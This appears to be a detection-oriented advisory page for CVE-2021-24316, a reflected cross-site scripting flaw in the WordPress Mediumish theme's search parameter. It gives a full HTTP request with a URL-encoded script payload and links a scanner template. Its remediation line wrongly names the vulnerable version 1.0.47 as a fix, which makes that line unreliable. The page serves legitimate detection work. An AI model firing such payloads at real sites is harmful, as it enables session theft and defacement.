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CVE-2021-24316: WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting

TitleWordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting
Author0x_Akoko
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
RemediationUpdate to the latest version of the WordPress Mediumish Theme plugin (1.0.47 or higher) to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.57424
CVE IDCVE-2021-24316
CWE IDCWE-79
Tags cve2021 cve mediumish xss wordpress wpscan intrusive wowthemes vuln

🔍 Vulnerability Description

WordPress Mediumish theme 1.0.47 and prior contains an unauthenticated reflected cross-site scripting vulnerability. The ‘s’ GET parameter is not properly sanitized by the search feature before it is output back on the page.

🌐 HTTP Request

GET /?post_type=post&s=%22%3E%3Cscript%3Ealert(/38FGjHtJ9c31e2E8wN1kEfaoefC/)%3C/script%3E+ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.4 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24316.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-24316.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A